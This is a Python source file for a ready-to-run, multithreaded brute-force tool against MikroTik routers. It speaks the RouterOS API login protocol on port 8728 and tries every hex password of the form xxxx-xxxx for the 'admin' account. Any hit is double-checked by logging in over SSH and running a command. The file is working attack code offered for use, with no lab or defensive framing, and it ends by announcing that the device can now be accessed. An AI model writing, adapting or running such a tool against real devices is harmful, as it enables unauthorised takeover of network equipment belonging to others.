296 lines
No EOL
11 KiB
Python
296 lines
No EOL
11 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Reliable Fast MikroTik Brute Force
|
|
Optimized for speed while maintaining authentication accuracy
|
|
"""
|
|
|
|
import socket
|
|
import time
|
|
import threading
|
|
from concurrent.futures import ThreadPoolExecutor
|
|
import queue
|
|
import sys
|
|
|
|
class ReliableFastBruteForce:
|
|
def __init__(self, host, port=8728):
|
|
self.host = host
|
|
self.port = port
|
|
self.username = "admin"
|
|
self.attempts = 0
|
|
self.start_time = None
|
|
self.lock = threading.Lock()
|
|
self.stop_flag = threading.Event()
|
|
self.found_password = None
|
|
|
|
def reliable_api_test(self, password):
|
|
"""Fast but reliable API test"""
|
|
if self.stop_flag.is_set():
|
|
return False
|
|
|
|
try:
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
|
sock.settimeout(2) # Reasonable timeout
|
|
sock.connect((self.host, self.port))
|
|
|
|
def encode_length(length):
|
|
if length <= 0x7F:
|
|
return bytes([length])
|
|
elif length <= 0x3FFF:
|
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
|
else:
|
|
return bytes([0xFF])
|
|
|
|
def write_word(word):
|
|
word_bytes = word.encode('utf-8')
|
|
sock.send(encode_length(len(word_bytes)))
|
|
sock.send(word_bytes)
|
|
|
|
def write_sentence(words):
|
|
for word in words:
|
|
write_word(word)
|
|
write_word("")
|
|
|
|
def read_word():
|
|
try:
|
|
length_byte = sock.recv(1)
|
|
if not length_byte:
|
|
return ""
|
|
length = length_byte[0]
|
|
if length == 0:
|
|
return ""
|
|
if length & 0x80:
|
|
second_byte = sock.recv(1)
|
|
if not second_byte:
|
|
return ""
|
|
length = ((length & 0x7F) << 8) + second_byte[0]
|
|
|
|
if length > 500: # Sanity check
|
|
return ""
|
|
|
|
return sock.recv(length).decode('utf-8', 'ignore')
|
|
except:
|
|
return ""
|
|
|
|
def read_sentence():
|
|
sentence = []
|
|
tries = 0
|
|
while tries < 10: # Limit attempts
|
|
word = read_word()
|
|
if word == "":
|
|
break
|
|
sentence.append(word)
|
|
tries += 1
|
|
return sentence
|
|
|
|
# Send login
|
|
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
|
|
|
# Read response with timeout
|
|
sock.settimeout(1) # Shorter timeout for response
|
|
response = read_sentence()
|
|
sock.close()
|
|
|
|
# Reliable success detection
|
|
if response and len(response) > 0:
|
|
if response[0] == "!done":
|
|
return True
|
|
elif response[0] == "!trap":
|
|
# Check for specific error message
|
|
for item in response:
|
|
if "invalid user name or password" in item.lower():
|
|
return False
|
|
return False
|
|
|
|
return False
|
|
|
|
except Exception:
|
|
return False
|
|
|
|
def verify_password(self, password):
|
|
"""Double-check a potential password with multiple methods"""
|
|
print(f"\nVerifying potential password: {password}")
|
|
|
|
# Test API multiple times
|
|
api_results = []
|
|
for i in range(3):
|
|
result = self.reliable_api_test(password)
|
|
api_results.append(result)
|
|
time.sleep(0.1)
|
|
|
|
api_success = sum(api_results) >= 2 # Majority vote
|
|
|
|
# Test SSH as secondary verification
|
|
ssh_success = False
|
|
try:
|
|
import paramiko
|
|
client = paramiko.SSHClient()
|
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
client.connect(
|
|
self.host,
|
|
port=22,
|
|
username=self.username,
|
|
password=password,
|
|
timeout=3,
|
|
allow_agent=False,
|
|
look_for_keys=False,
|
|
)
|
|
# Try to execute a command
|
|
stdin, stdout, stderr = client.exec_command("/system identity print", timeout=2)
|
|
output = stdout.read().decode()
|
|
client.close()
|
|
ssh_success = len(output) > 5 # Got some output
|
|
except Exception:
|
|
ssh_success = False
|
|
|
|
print(f" API results: {api_results} (success: {api_success})")
|
|
print(f" SSH result: {ssh_success}")
|
|
|
|
# Require both API and SSH success for verification
|
|
return api_success and ssh_success
|
|
|
|
def batch_worker(self, start_val, batch_size):
|
|
"""Process a batch of passwords"""
|
|
local_attempts = 0
|
|
|
|
for i in range(batch_size):
|
|
if self.stop_flag.is_set():
|
|
break
|
|
|
|
value = start_val + i
|
|
if value > 0xFFFFFFFF:
|
|
break
|
|
|
|
hex_str = f"{value:08x}"
|
|
password = f"{hex_str[:4]}-{hex_str[4:]}"
|
|
|
|
local_attempts += 1
|
|
|
|
if self.reliable_api_test(password):
|
|
# Potential match - verify it thoroughly
|
|
if self.verify_password(password):
|
|
with self.lock:
|
|
self.attempts += local_attempts
|
|
print(f"\n*** VERIFIED PASSWORD FOUND: {password} ***")
|
|
self.found_password = password
|
|
self.stop_flag.set()
|
|
return True
|
|
else:
|
|
print(f" False positive rejected: {password}")
|
|
|
|
with self.lock:
|
|
self.attempts += local_attempts
|
|
|
|
return False
|
|
|
|
def run_reliable_fast(self, max_workers=8, batch_size=50, start_from=0):
|
|
"""Run reliable fast brute force"""
|
|
print(f"Reliable Fast MikroTik Brute Force")
|
|
print(f"Host: {self.host}")
|
|
print(f"Workers: {max_workers}")
|
|
print(f"Batch size: {batch_size}")
|
|
print(f"Starting from: 0x{start_from:08x}")
|
|
print("Features: Double verification, false positive rejection")
|
|
print("=" * 70)
|
|
|
|
self.start_time = time.time()
|
|
|
|
# Progress reporter
|
|
def progress_reporter():
|
|
last_attempts = 0
|
|
while not self.stop_flag.is_set():
|
|
time.sleep(5) # Report every 5 seconds
|
|
with self.lock:
|
|
current_attempts = self.attempts
|
|
|
|
if current_attempts > 0:
|
|
elapsed = time.time() - self.start_time
|
|
rate = current_attempts / elapsed
|
|
recent_rate = (current_attempts - last_attempts) / 5
|
|
current_value = start_from + current_attempts
|
|
hex_val = f"{current_value:08x}"
|
|
password = f"{hex_val[:4]}-{hex_val[4:]}"
|
|
|
|
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec avg, {recent_rate:.0f}/sec recent)")
|
|
print(f" Current: {password} (0x{current_value:08x})")
|
|
|
|
last_attempts = current_attempts
|
|
|
|
progress_thread = threading.Thread(target=progress_reporter, daemon=True)
|
|
progress_thread.start()
|
|
|
|
# Submit work in batches
|
|
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
|
futures = []
|
|
current_val = start_from
|
|
|
|
# Submit initial work
|
|
for _ in range(max_workers * 2):
|
|
if current_val > 0xFFFFFFFF:
|
|
break
|
|
future = executor.submit(self.batch_worker, current_val, batch_size)
|
|
futures.append(future)
|
|
current_val += batch_size
|
|
|
|
# Process results and submit more work
|
|
while futures and not self.stop_flag.is_set():
|
|
completed = []
|
|
for future in futures:
|
|
if future.done():
|
|
completed.append(future)
|
|
try:
|
|
if future.result(): # Found password
|
|
self.stop_flag.set()
|
|
break
|
|
except Exception as e:
|
|
print(f"Worker error: {e}")
|
|
|
|
# Remove completed futures
|
|
for future in completed:
|
|
futures.remove(future)
|
|
|
|
# Submit more work
|
|
while len(futures) < max_workers and current_val <= 0xFFFFFFFF and not self.stop_flag.is_set():
|
|
future = executor.submit(self.batch_worker, current_val, batch_size)
|
|
futures.append(future)
|
|
current_val += batch_size
|
|
|
|
time.sleep(0.1)
|
|
|
|
elapsed = time.time() - self.start_time
|
|
rate = self.attempts / elapsed if elapsed > 0 else 0
|
|
|
|
print(f"\nCompleted: {self.attempts:,} attempts in {elapsed:.1f}s ({rate:.0f}/sec)")
|
|
return self.found_password
|
|
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print("Usage: python3 mikrotik_reliable_fast.py <HOST> [workers] [start_hex]")
|
|
print("Examples:")
|
|
print(" python3 mikrotik_reliable_fast.py 10.250.2.2")
|
|
print(" python3 mikrotik_reliable_fast.py 10.250.2.2 16 0x00001000")
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 8
|
|
start_from = 0
|
|
|
|
if len(sys.argv) > 3:
|
|
start_hex = sys.argv[3]
|
|
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
|
|
|
|
attacker = ReliableFastBruteForce(host)
|
|
password = attacker.run_reliable_fast(
|
|
max_workers=workers,
|
|
batch_size=50,
|
|
start_from=start_from
|
|
)
|
|
|
|
if password:
|
|
print(f"\n✓ VERIFIED SUCCESS! Password: {password}")
|
|
print(f"You can now access the device with admin:{password}")
|
|
else:
|
|
print(f"\n✗ No password found in tested range")
|
|
|
|
if __name__ == "__main__":
|
|
main() |